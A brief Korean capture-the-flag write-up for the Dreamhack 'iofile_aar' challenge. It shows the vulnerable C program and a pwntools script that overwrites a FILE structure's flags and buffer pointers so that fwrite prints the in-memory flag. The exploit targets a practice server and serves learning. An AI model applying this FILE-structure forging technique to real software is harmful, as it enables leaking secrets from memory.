https://velog.io/@mm0ck3r/Dreamhack-IOFILE-Arbitrary-Address-Write
이 문제처럼 풀이하면 되겠다.
// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
read_flag();
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
read(0, fp, 300);
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
read_flag 함수를 호출하고 난 후에 flag_buf에는 flag의 내용들이 들어가지게 된다.
read(0, fp, 300)에서 file 구조체를 우리 입맛대로 바꾸어 flag_buf의 내용들을 출력하게 해야한다.
from pwn import *
p = remote('host3.dreamhack.games', 24132)
flag_buf_addr = 0x00000000006010a0
payload = p64(0xfbad0800)
payload += p64(0)
payload += p64(flag_buf_addr)
payload += p64(0)
payload += p64(flag_buf_addr)
payload += p64(flag_buf_addr + 1024)
payload += p64(0) * 8
payload += p64(1)
p.recvuntil('Data: ')
p.send(payload)
p.interactive()
write 때와는 다르게 file flag도 설정해주어야 하며, flag_buf_addr 주소와, 1024 바이트라는 크기를 넉넉하게 설정해주었다.
끝